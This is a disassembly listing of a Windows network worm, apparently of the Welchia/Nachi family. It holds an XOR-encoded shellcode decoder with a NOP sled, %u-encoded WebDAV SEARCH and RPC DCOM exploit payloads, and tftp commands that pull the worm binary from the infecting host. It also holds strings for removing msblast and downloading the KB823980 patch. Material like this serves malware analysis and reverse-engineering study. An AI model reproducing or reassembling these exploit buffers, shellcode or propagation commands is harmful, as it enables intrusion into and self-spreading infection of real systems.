dword_404068	dd 7C80FD2Dh	; resolved to->KERNEL32.GlobalAllocdword_40406C	dd 7C80FC2Fh	; resolved to->KERNEL32.GlobalFreedword_404070	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcessdword_404074	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesA					; sub_402A00+77r
dword_404078	dd 7C812782h	; resolved to->KERNEL32.SetFileAttributesA					; sub_402A00+8Br
dword_40407C	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_404080	dd 7C80B974h	; resolved to->KERNEL32.UnmapViewOfFiledword_404084	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_404088	dd 7C809766h	; resolved to->KERNEL32.InterlockedIncrement					; sub_402C40+Fr
dword_40408C	dd 7C80998Dh	; resolved to->KERNEL32.LocalAlloc					; sub_402540+7Er
dword_404090	dd 7C80992Fh	; resolved to->KERNEL32.LocalFree					; sub_402540+1CFr
dword_404094	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_404098	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExAdword_40409C	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcessdword_4040A0	dd 7C8127A7h	; resolved to->KERNEL32.GetOEMCPdword_4040A4	dd 7C80BF3Dh	; resolved to->KERNEL32.GetSystemDefaultLCIDdword_4040A8	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_402970+Ar
dword_4040AC	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcess					; sub_402A00+30r
dword_4040B0	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObjectdword_4040B4	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileA					; sub_401660+42r
dword_4040B8	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTimedword_4040BC	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_401990+A1r ...
dword_4040C0	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; sub_401B90+4Cr ...
dword_4040C4	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; sub_401470+F9r ...
dword_4040C8	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_401280+6Cr ...
dword_4040CC	dd 7C87109Dh	; resolved to->KERNEL32.FreeConsoledword_4040D0	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryAdword_4040D4	dd 7C864B0Fh	; resolved to->KERNEL32.CreateToolhelp32Snapshotdword_4040D8	dd 7C863DE5h	; resolved to->KERNEL32.Process32Firstdword_4040DC	dd 7C863F58h	; resolved to->KERNEL32.Process32Nextdword_4040E0	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_401000+E1r ...
dword_4040E4	dd 7C802367h	; resolved to->KERNEL32.CreateProcessAdword_4040E8	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileA					; sub_401780+1D3r ...
		align 10h
dword_4040F0	dd 77C39E7Eh	; resolved to->MSVCRT.exitdword_4040F4	dd 77C32DAEh	; resolved to->MSVCRT._XcptFilterdword_4040F8	dd 77C1EEEBh	; resolved to->MSVCRT.__getmainargsdword_4040FC	dd 77C39D67h	; resolved to->MSVCRT._inittermdword_404100	dd 77C47C60h	; resolved to->MSVCRT.strstr					; sub_401B90+80r ...
dword_404104	dd 77C371BCh	; resolved to->MSVCRT.sranddword_404108	dd 77C29CC5h	dword_40410C	dd 77C1F1F1h	; resolved to->MSVCRT.__p___initenvdword_404110	dd 77C4D675h	; resolved to->MSVCRT.__setusermatherrdword_404114	dd 77C623D8h	; resolved to->MSVCRT._adjust_fdivdword_404118	dd 77C1F1A4h	; resolved to->MSVCRT.__p__commodedword_40411C	dd 77C3F931h	; resolved to->MSVCRT.sprintf					; sub_4015E0+Er ...
dword_404120	dd 77C47BE0h	; resolved to->MSVCRT.strrchrdword_404124	dd 77C1F1DBh	; resolved to->MSVCRT.__p__fmodedword_404128	dd 77C3537Ch	; resolved to->MSVCRT.__set_app_typedword_40412C	dd 77C35C94h	; resolved to->MSVCRT._except_handler3dword_404130	dd 77C4EE2Fh	; resolved to->MSVCRT._controlfpdword_404134	dd 77C39E9Ah	; resolved to->MSVCRT._exitdword_404138	dd 77C29CDDh	dword_40413C	dd 77C371D3h	; resolved to->MSVCRT.rand					; sub_401280+12Br ...
dword_404140	dd 77C4624Eh	; resolved to->MSVCRT._stricmp					; sub_4023E0+64r
		align 8
dword_404148	dd 7E45A045h	; resolved to->USER32.ExitWindowsEx		align 10h
dword_404150	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_402B20+57r ...
dword_404154	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_402C40+6Er ...
dword_404158	dd 71AB50C8h	; resolved to->WS2_32.gethostnamedword_40415C	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa					; sub_402C40+7Er
dword_404160	dd 71AB4FD4h	; resolved to->WS2_32.gethostbyname					; sub_401EA0+1Br
dword_404164	dd 71AB3EA1h	; resolved to->WS2_32.setsockopt					; sub_401C80+41r ...
dword_404168	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_401B90+1Er ...
dword_40416C	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_401B90+65r ...
dword_404170	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_401990+15Dr ...
dword_404174	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_4020E0+7r ...
dword_404178	dd 71AB3E00h	; resolved to->WS2_32.binddword_40417C	dd 71AB4428h	; resolved to->WS2_32.WSACleanupdword_404180	dd 71AB88D3h	; resolved to->WS2_32.listendword_404184	dd 71AC1028h	; resolved to->WS2_32.accept					; sub_401990+137r
dword_404188	dd 71AB2BC0h	; resolved to->WS2_32.ntohl					; sub_401990+20r
dword_40418C	dd 71AB664Dh	; resolved to->WS2_32.WSAStartupdword_404190	dd 71AB2BC0h	; resolved to->WS2_32.ntohldword_404194	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_4020E0+27r ...
		dd 0
dword_40419C	dd 42D779A3h			dd 2 dup(0)
dword_4041A8	dd 0FFFFFFFFh, 4030BCh,	4030D0h, 393h dup(0)dword_405000	dd 0		dword_405004	dd 0		dword_405008	dd 0		dword_40500C	dd 0		aU5390U665eU66a	db '%u5390%u665e%u66ad%u993d%u7560%u56f8%u5656%u665f%u66ad%u4e3d%u740'
					; DATA XREF: sub_401F30+A4o
		db '0%u9023%u612c%u5090%u6659%u90ad%u612c%u548d%u7088%u548d%u908a%u54'
		db '8d%u708a%u548d%u908a%u5852%u74aa%u75d8%u90d6%u5058%u5050%u90c3%u6'
		db '099',0
		align 4
aFfilomidomfafd	db 'ffilomidomfafdfgfhinhnlaljbeaaaaaalimmmmmmmmpdklojieaaaaaaipefpai'
					; DATA XREF: sub_401F30+C6o
		db 'nlnpeppppppgekbaaaaaaaaijehaigeijdnaaaaaaaamhefpeppppppppilefpaid'
		db 'oiahijefpiloaaaabaaaoideaaaaaaibmgaabaaaaaolagibmgaaeaaaaailagdne'
		db 'oeoeoeohfpbidmgaeikagegdmfjhfpjikagegdmfihfpcggknggdnfjfihfokppog'
		db 'olpofifailhnpaijehpcmdileeceamafliaaaaaamhaaeeddccbbddmamdolomoih'
		db 'hppppppcececece',0
		align 10h
aU5951U6858U759	db '%u5951%u6858%u759f%u0018%u5951%u6858%u759f%u0018%u5951%u6858%u759'
					; DATA XREF: sub_401F30+45o
		db 'f%u0018%u5951%u6858%u759f%u0018%u5951%u6858%u759f%u0018%u5951%u68'
		db '58%u759f%u0018%u5951%u6858%u759f%u0018%u5951%u6858%u759f%u0018',0
		align 4
a?xmlVersion1_0	db '<?xml version="1.0"?>',0Dh,0Ah
		db '<g:searchrequest xmlns:g="DAV:">',0Dh,0Ah
		db '<g:sql>',0Dh,0Ah
		db 'Select "DAV:displayname" from scope()',0Dh,0Ah
		db '</g:sql>',0Dh,0Ah
		db '</g:searchrequest>',0Dh,0Ah,0
word_40537C	dw 3D30h		; DATA XREF: sub_401280+19Dr
		dw 3D9Fh
		dd 3D8B3D8Ah, 3D953D91h, 3D9D3D97h, 3DBC3DA1h, 3DE93DF3h
		dd 0DCA03D9Ah, 0CA64CA60h, 0CA68CA67h, 0CA71CA66h, 0CB5DCA82h
		dd 0CBD0CA62h, 0D20CCBCFh, 0D235D22Ah, 0D344D248h, 0D354D357h
		dd 0D360D35Ch, 0D353D362h, 0D3A1D35Fh, 0D3A3D3A2h, 0D39CD390h
		dd 0DA6DD39Eh, 0DA05DA04h, 0DA47DA11h, 0DA6ADA00h, 0DB91DAC7h
		dd 0DA06DA08h, 0DA58DA3Fh, 0DA45DA59h, 0DA4BDA3Fh, 0DA68DA55h
		dd 0DB8ADAC5h, 0DBEADBDEh, 0DCA0DC6Dh, 0DC75DCA3h, 0DCB9DCA2h
		dd 0DC71DCBAh, 0DCA6DC70h
off_405414	dd offset aHttpDownload_m ; DATA XREF: sub_401780:loc_4018AFr
					; "http://download.microsoft.com/download/"...
		dd offset aHttpDownload_1 ; "http://download.microsoft.com/download/"...
		dd offset aHttpDownload_2 ; "http://download.microsoft.com/download/"...
		dd offset aHttpDownload_3 ; "http://download.microsoft.com/download/"...
off_405424	dd offset aHttpDownload_0 ; DATA XREF: sub_401780+120r
					; "http://download.microsoft.com/download/"...
		dd offset aHttpDownload_4 ; "http://download.microsoft.com/download/"...
		dd offset aHttpDownload_5 ; "http://download.microsoft.com/download/"...
		dd offset aHttpDownload_6 ; "http://download.microsoft.com/download/"...
dword_405434	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2
dword_40547C	dd 3000005h, 10hdword_405484	dd 3E8h				dd 0E5h, 3D0h, 40001h, 60005h, 1, 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 2 dup(0)
dword_4057DC	dd 20h							; sub_402170+29w
dword_4057E0	dd 0		dword_4057E4	dd 20h							; sub_402170+2Ew
dword_4057E8	dd 5C005Ch	aC1234561111111:			; DATA XREF: sub_402170+7Bo
		unicode	0, <\C$\123456111111111111111.doc>,0
aFxnbfxfxnbfxfx:			; DATA XREF: sub_402170+55o
		unicode	0, <FXNBFXFXNBFXFXFXFX>
dword_40584C	dd 7F08321Ah			db 0CCh
		db 0E0h, 0FDh, 7Fh
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		db 126h	dup(90h)
; ---------------------------------------------------------------------------


loc_40597E:				; DATA XREF: sub_401F30+13Co
		jmp	short loc_405990

; =============== S U B	R O U T	I N E =======================================



sub_405980	proc far		; CODE XREF: sub_405980:loc_405990p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 176h


loc_405988:				; CODE XREF: sub_405980+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_405988
		jmp	short loc_405995
; ---------------------------------------------------------------------------


loc_405990:				; CODE XREF: seg000:loc_40597Ej
		call	near ptr sub_405980


loc_405995:				; CODE XREF: sub_405980+Ej
		jo	short loc_4059F8
		cdq
		cdq
		cdq
		retn
; ---------------------------------------------------------------------------
		db 21h
		dd 0E6646995h, 0E9129912h, 0D9123485h, 12411291h, 6A9AA5EAh
		dd 9AE1EF12h, 0B9E7126Ah, 0D712629Ah, 0CF74AA8Dh, 0A612C8CEh
		dd 6B12629Ah, 6AC097F3h, 0C091ED3Fh, 9D5E1AC6h,	0C0707BDCh
		dd 5412C7C6h, 9ABDDF12h, 9A78485Ah, 0FF50AA58h,	0DF129112h
		dd 585A9A85h, 589A9B78h, 5A9A9912h
; ---------------------------------------------------------------------------


loc_4059F8:				; CODE XREF: sub_405980:loc_405995j
		adc	ah, [ebx+12h]
		outsb
		sbb	bl, [edi-69h]
		adc	cl, [ecx-0Dh]
		call	far ptr	9999h:99ED71C0h
		sbb	bl, [edi-6Ch]
		retf
sub_405980	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0CFh, 66h, 0CEh
		dd 4112C365h, 71C09AF3h, 999999F8h, 12DD751Ah, 0C089F36Dh
		dd 7B179D10h, 0C9C9C962h, 0F398F3C9h, 6DCE669Bh, 0C7104112h
		dd 0A5C710A1h, 0FFD9C710h, 98B5DF5Eh, 89DE1498h, 59AACFC9h
		dd 0F3C9C9C9h, 14C9C998h, 9B5EA5CEh, 99FDF4FAh,	0CE66C9CBh
		dd 9B9E5E71h, 5E9B9999h, 0FAFA9DDEh, 89F3FAFAh,	0CE66CACEh
		dd 0CE66CA61h, 0CE66C965h, 3559AA75h, 60EC591Ch, 0CACFCBC8h
		dd 0C0C34B66h, 0AA777B32h, 9A715A59h, 0DE666666h, 0EBC9EDFCh
		dd 0FDD8FAF6h, 0EAFCEBFDh, 0EBDA99EAh, 0FCEDF8FCh, 0FAF6EBC9h
		dd 0D8EAEAFCh, 0F0E1DC99h, 0EBF1CDEDh, 99FDF8FCh, 0FDF8F6D5h
		dd 0EBFBF0D5h, 0D8E0EBF8h, 0ABEAEE99h, 99ABAAC6h, 0CAD8CACEh
		dd 0FCF2FAF6h, 0FA99D8EDh, 0FCF7F7F6h, 0FA99EDFAh, 0FCEAF6F5h
		dd 0F2FAF6EAh, 99EDFCh
dword_405AF4	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 0
		dd offset aILoveMyWifeBab ; "=========== I love	my wife	& baby :)~~~"...
aCopyDllcacheTf	db 'copy dllcache\tftpd.exe wins\svchost.exe',0Ah
					; DATA XREF: sub_401C80+175o
		db 0Dh,0
		align 4
aWinsDllhost_ex	db 'wins\DLLHOST.EXE',0Ah ; DATA XREF: sub_401C80+1ABo
					; sub_401C80+1BDo
		db 0Dh,0
		align 4
word_405B68	dw 29Ah			; DATA XREF: sub_401990+5Aw
					; sub_401990+81r ...
		align 4
aRpctftpd	db 'RpcTftpd',0         ; DATA XREF: sub_401280+41o
					; sub_401280+E7o ...
		align 4
aRpcpatch	db 'RpcPatch',0         ; DATA XREF: sub_401280+37o
					; sub_401660+57o ...
		align 4
aDirDllcacheTft	db 'dir dllcache\tftpd.exe',0Ah ; DATA XREF: sub_401C80+11Bo
		db 0Dh,0
		align 10h
dword_405BA0	dd 4							; sub_402880:loc_4028F6r
byte_405BA4	db 3Dh			; DATA XREF: sub_401100:loc_40115Ar
		db 3Dh,	2 dup(0CAh)
		dd 0D2D2CBCAh, 0DADAD3D3h, 0DCDBh
aDirWinsDllhost	db 'dir wins\dllhost.exe',0Ah ; DATA XREF: sub_401C80+D2o
		db 0Dh,0
		align 4
aGetHttp1_1Acce	db 'GET / HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402C40+B5o
		db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*',0Dh
		db 0Ah
		db 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',0Dh,0Ah
		db 'Host: ',0
		align 4
aConnectionKeep	db 0Dh,0Ah		; DATA XREF: sub_402C40+95o
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aILoveMyWifeBab	db '=========== I love my wife & baby :)~~~  Welcome Chian~~~  Notice'
					; DATA XREF: seg000:00405B24o
		db ':  2004 will remove myself:)~~ sorry zhongli~~~===========  wins',0
		align 4
aHttpDownload_6	db 'http://download.microsoft.com/download/6/9/5/6957d785-fb7a-4ac9-b'
					; DATA XREF: seg000:00405430o
		db '1e6-cb99b62f9f2a/Windows2000-KB823980-x86-KOR.exe',0
		align 4
aHttpDownload_5	db 'http://download.microsoft.com/download/5/8/f/58fa7161-8db3-4af4-b'
					; DATA XREF: seg000:0040542Co
		db '576-0a56b0a9d8e6/Windows2000-KB823980-x86-CHT.exe',0
		align 10h
aHttpDownload_4	db 'http://download.microsoft.com/download/2/8/1/281c0df6-772b-42b0-9'
					; DATA XREF: seg000:00405428o
		db '125-6858b759e977/Windows2000-KB823980-x86-CHS.exe',0
		align 4
aHttpDownload_0	db 'http://download.microsoft.com/download/0/1/f/01fdd40f-efc5-433d-8'
					; DATA XREF: seg000:off_405424o
		db 'ad2-b4b9d42049d5/Windows2000-KB823980-x86-ENU.exe',0
		align 4
aHttpDownload_3	db 'http://download.microsoft.com/download/e/3/1/e31b9d29-f650-4078-8'
					; DATA XREF: seg000:00405420o
		db 'a76-3e81eb4554f6/WindowsXP-KB823980-x86-KOR.exe',0
		align 4
aHttpDownload_2	db 'http://download.microsoft.com/download/2/3/6/236eaaa3-380b-4507-9'
					; DATA XREF: seg000:0040541Co
		db 'ac2-6cec324b3ce8/WindowsXP-KB823980-x86-CHT.exe',0
		align 10h
aHttpDownload_1	db 'http://download.microsoft.com/download/a/a/5/aa56d061-3a38-44af-8'
					; DATA XREF: seg000:00405418o
		db 'd48-85e42de9d2c0/WindowsXP-KB823980-x86-CHS.exe',0
		align 4
aHttpDownload_m	db 'http://download.microsoft.com/download/9/8/b/98bcfad8-afbc-458f-a'
					; DATA XREF: seg000:off_405414o
		db 'aee-b7a52a983f01/WindowsXP-KB823980-x86-ENU.exe',0
		align 4
aTftpISGetSvcho	db 'tftp -i %s get svchost.exe wins\SVCHOST.EXE',0Ah
					; DATA XREF: sub_401210+48o
		db 0Dh,0
		align 4
aTftpISGetDllho	db 'tftp -i %s get dllhost.exe wins\DLLHOST.EXE',0Ah
					; DATA XREF: sub_401210+34o
		db 0Dh,0
		align 4
aNetworkConnect	db 'Network Connections Sharing',0 ; DATA XREF: sub_4015E0+57o
aSvchost_exe	db 'svchost.exe',0      ; DATA XREF: sub_4015E0+52o
					; sub_4023E0+59o
aMsdtc		db 'MSDTC',0            ; DATA XREF: sub_4015E0+4Do
		align 4
aSWinsSvchost_e	db '%s\wins\svchost.exe',0 ; DATA XREF: sub_4015E0+2Do
aSDllcacheTftpd	db '%s\dllcache\tftpd.exe',0 ; DATA XREF: sub_4015E0+19o
		align 4
aWinsClient	db 'WINS Client',0      ; DATA XREF: sub_401660+52o
aDllhost_exe	db 'DLLHOST.EXE',0      ; DATA XREF: sub_401660+4Do
					; sub_401C80+ECo
aBrowser	db 'Browser',0          ; DATA XREF: sub_401660+48o
aSWinsDllhost_e	db '%s\wins\DLLHOST.EXE',0 ; DATA XREF: sub_401660+24o
aSNOZQ		db '%s -n -o -z -q',0   ; DATA XREF: sub_401780+15Co
		align 4
dword_4061A8	dd 53637052h	dword_4061AC	dd 69767265h	dword_4061B0	dd 61506563h	dword_4061B4	dd 652E6B63h	word_4061B8	dw 6578h		; DATA XREF: sub_401780+102r
byte_4061BA	db 0			; DATA XREF: sub_401780+10Dr
		align 4
dword_4061BC	dd 74737973h, 32336D65h, 3Eh					; sub_401C80+8Eo ...
aTimeoutOccurre	db 'Timeout occurred',0 ; DATA XREF: sub_401B90+95o
		align 4
aTransferSucces	db 'Transfer successful',0 ; DATA XREF: sub_401B90+86o
aTftpd_exe	db 'TFTPD.EXE',0        ; DATA XREF: sub_401C80+148o
		align 4
aTftpd_exe_0	db 'tftpd.exe',0        ; DATA XREF: sub_401C80+135o
		align 4
aDllhost_exe_0	db 'dllhost.exe',0      ; DATA XREF: sub_401C80+103o
aMicrosoftWindo	db 'Microsoft Windows',0 ; DATA XREF: sub_401C80+77o
		align 4
aMicrosoft_com	db 'microsoft.com',0    ; DATA XREF: sub_401E80o
		align 4
word_406238	dw 0A0Dh		; DATA XREF: sub_401F30+17Er
byte_40623A	db 0			; DATA XREF: sub_401F30+185r
		align 4
aHttp1_1Host127	db ' HTTP/1.1',0Dh,0Ah  ; DATA XREF: sub_401F30+100o
		db 'Host: 127.0.0.1',0Dh,0Ah
		db 'Content-Type: text/xml',0Dh,0Ah
		db 'Content-length: 377',0Dh,0Ah
		db 0Dh,0Ah
		db 'YXYX',0
aSearch		db 'SEARCH /',0         ; DATA XREF: sub_401F30+Ao
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_4022A0+1Co
aSoftwareMicr_1	db 'SOFTWARE\Microsoft\Updates\Windows XP\SP2\KB823980',0
					; DATA XREF: sub_402390+2Do
		align 10h
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\Updates\Windows XP\SP1\KB823980',0
					; DATA XREF: sub_402390:loc_4023ACo
		align 4
aSoftwareMicros	db 'SOFTWARE\Microsoft\Updates\Windows 2000\SP5\KB823980',0
					; DATA XREF: sub_402390+8o
		align 4
aManagesNetwork	db 'Manages network configuration by updating DNS names IP address.',0
					; DATA XREF: sub_4023E0+D1o
aSWinsS		db '%s\wins\%s',0       ; DATA XREF: sub_4023E0+4Do
		align 4
aDSWins		db '-d%s\wins',0        ; DATA XREF: sub_402540+33o
		align 4
aRpcpatch_mutex	db 'RpcPatch_Mutex',0   ; DATA XREF: sub_4027B0o
		align 4
aSMsblast_exe	db '%s\msblast.exe',0   ; DATA XREF: sub_402A00+63o
		align 4
aMsblast	db 'msblast',0          ; DATA XREF: sub_402A00+8o
a411		db '411',0              ; DATA XREF: sub_402C40+20Ao
aSearchHttp1_1H	db 'SEARCH / HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402C40+19Eo
		db 'Host: %s',0Dh,0Ah
		db 0Dh,0Ah,0
aServerMicrosof	db 'Server: Microsoft-IIS/5.0',0 ; DATA XREF: sub_402C40+13Fo
		align 4
aSSS		db '%s%s%s',0           ; DATA XREF: sub_402C40+BAo
		align 4
dword_406414	dd 1				align 10h
dword_406420	dd 0							; sub_402B20+CAr
dword_406424	dd 0							; sub_401F30+50r ...
dword_406428	dd 0							; sub_402170+100w
dword_40642C	dd 0							; sub_4020E0+13r
dword_406430	dd 10h dup(0)						; sub_402AB0+3Fo ...
dword_406470	dd 0							; sub_402130+35w ...
		align 8
dword_406478	dd 0				align 10h
dword_406480	dd 0							; sub_402170+C7w
		dd 1Bh dup(0)
dword_4064F0	dd 0							; sub_402170+D3w
dword_4064F4	dd 0							; sub_402170+DFw
		dd 0Bh dup(0)
dword_406524	dd 0							; sub_402170+EFw
dword_406528	dd 0							; sub_402170+F9w
		dd 5 dup(0)
dword_406540	dd 0							; sub_402170+11Ew
		dd 2Eh dup(0)
dword_4065FC	dd 0							; sub_402170+124w
		dd 74h dup(0)
dword_4067D0	dd 0		dword_4067D4	dd 0		dword_4067D8	dd 0		dword_4067DC	dd 0		dword_4067E0	dd 0B3h	dup(0)	dword_406AAC	dd 0Fh dup(0)	dword_406AE8	dd 146h	dup(0)	seg000		ends

; Section 2. (virtual address 00007000)
; Virtual size			: 00003000 (  12288.)
; Section size in file		: 00003000 (  12288.)
; Offset to raw	data for section: 00007000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg001		segment	para public 'CODE' use32
		assume cs:seg001
		;org 407000h
		assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing
dword_407000	dd 11Ch	dup(0)	dword_407470	dd 0							; sub_4020E0+33r
dword_407474	dd 0							; sub_402170+10Aw
dword_407478	dd 8 dup(0)						; sub_401210+43o ...
aCWindowsSystem	db 'C:\WINDOWS\system32',0 ; DATA XREF: sub_4011C0+14o
					; sub_4015E0+14o ...
		dd 3Dh dup(0)
dword_4075A0	dd 0							; sub_401280+9Cr ...
dword_4075A4	dd 0							; sub_401470+136r ...
dword_4075A8	dd 20h dup(0)						; sub_401C80+18Co
dword_407628	dd 20h dup(0)						; sub_401C80+15Co
dword_4076A8	dd 0							; seg000:00402932w
dword_4076AC	dd 0		dword_4076B0	dd 0		dword_4076B4	dd 0		dword_4076B8	dd 0		dword_4076BC	dd 0FFFFFFFFh	dword_4076C0	dd 0FFFFFFFFh	dword_4076C4	dd 0				dd 24Eh	dup(0)
		dd 0E0h, 3060h,	74654701h, 7473614Ch, 6F727245h, 49010072h
		dd 7265746Eh, 6B636F6Ch, 65446465h, 6D657263h, 746E65h
		dd 6F6C4701h, 416C6162h, 636F6C6Ch, 6C470100h, 6C61626Fh
		dd 65657246h, 704F0100h, 72506E65h, 7365636Fh, 47010073h
		dd 69467465h, 7441656Ch, 62697274h, 73657475h, 53010041h
		dd 69467465h, 7441656Ch, 62697274h, 73657475h, 47010041h
		dd 6F4D7465h, 656C7564h, 646E6148h, 41656Ch, 6D6E5501h
		dd 69567061h, 664F7765h, 656C6946h, 72430100h, 65746165h
		dd 6574754Dh, 1004178h,	65746E49h, 636F6C72h, 4964656Bh
		dd 6572636Eh, 746E656Dh, 6F4C0100h, 416C6163h, 636F6C6Ch
		dd 6F4C0100h, 466C6163h, 656572h, 74654701h, 73726556h
		dd 6E6F69h, 74654701h, 73726556h, 456E6F69h, 1004178h
		dd 43746547h, 65727275h, 7250746Eh, 7365636Fh, 47010073h
		dd 454F7465h, 50434Dh, 74654701h, 74737953h, 65446D65h
		dd 6C756166h, 49434C74h, 47010044h, 6F4D7465h, 656C7564h
		dd 656C6946h, 656D614Eh, 54010041h, 696D7265h, 6574616Eh
		dd 636F7250h, 737365h, 69615701h, 726F4674h, 676E6953h
		dd 624F656Ch, 7463656Ah, 6F430100h, 69467970h, 41656Ch
		dd 74654701h, 61636F4Ch, 6D69546Ch, 45010065h, 50746978h
		dd 65636F72h, 1007373h,	54746547h, 436B6369h, 746E756Fh
		dd 72430100h, 65746165h, 65726854h, 1006461h, 65656C53h
		dd 46010070h, 43656572h, 6F736E6Fh, 100656Ch, 53746547h
		dd 65747379h, 7269446Dh, 6F746365h, 417972h, 65724301h
		dd 54657461h, 686C6F6Fh, 33706C65h, 616E5332h, 6F687370h
		dd 50010074h, 65636F72h, 32337373h, 73726946h, 50010074h
		dd 65636F72h, 32337373h, 7478654Eh, 6C430100h, 4865736Fh
		dd 6C646E61h, 43010065h, 74616572h, 6F725065h, 73736563h
		dd 44010041h, 74656C65h, 6C694665h, 4165h, 0EDh, 3000h
		dd 61684301h, 5365676Eh, 69767265h, 6F436563h, 6769666Eh
		dd 1004132h, 72657551h,	72655379h, 65636976h, 666E6F43h
		dd 41326769h, 74530100h, 53747261h, 69767265h, 416563h
		dd 6C654401h, 53657465h, 69767265h, 1006563h, 69676552h
		dd 72657473h, 76726553h, 43656369h, 486C7274h, 6C646E61h
		dd 417265h, 74655301h, 76726553h, 53656369h, 75746174h
		dd 53010073h, 74726174h, 76726553h, 43656369h, 446C7274h
		dd 61707369h, 65686374h, 1004172h, 72657551h, 72655379h
		dd 65636976h, 74617453h, 1007375h, 72657551h, 72655379h
		dd 65636976h, 666E6F43h, 416769h, 61684301h, 5365676Eh
		dd 69767265h, 6F436563h, 6769666Eh, 41010041h, 73756A64h
		dd 6B6F5474h, 72506E65h, 6C697669h, 73656765h, 704F0100h
		dd 43536E65h, 616E614Dh, 41726567h, 72430100h, 65746165h
		dd 76726553h, 41656369h, 6C430100h, 5365736Fh, 69767265h
		dd 61486563h, 656C646Eh, 704F0100h, 65536E65h, 63697672h
		dd 1004165h, 4F676552h,	4B6E6570h, 78457965h, 52010041h
		dd 6C436765h, 4B65736Fh, 1007965h, 6E65704Fh, 636F7250h
		dd 54737365h, 6E656B6Fh, 6F4C0100h, 70756B6Fh, 76697250h
		dd 67656C69h, 6C615665h, 416575h, 0FA00h, 305000h, 63490100h
		dd 6C43706Dh, 4865736Fh, 6C646E61h, 49010065h, 43706D63h
		dd 74616572h, 6C694665h, 49010065h, 53706D63h, 45646E65h
		dd 6F6863h, 10300h, 30F000h, 78650100h,	1007469h, 7063585Fh
		dd 6C694674h, 726574h, 675F5F01h, 616D7465h, 72616E69h
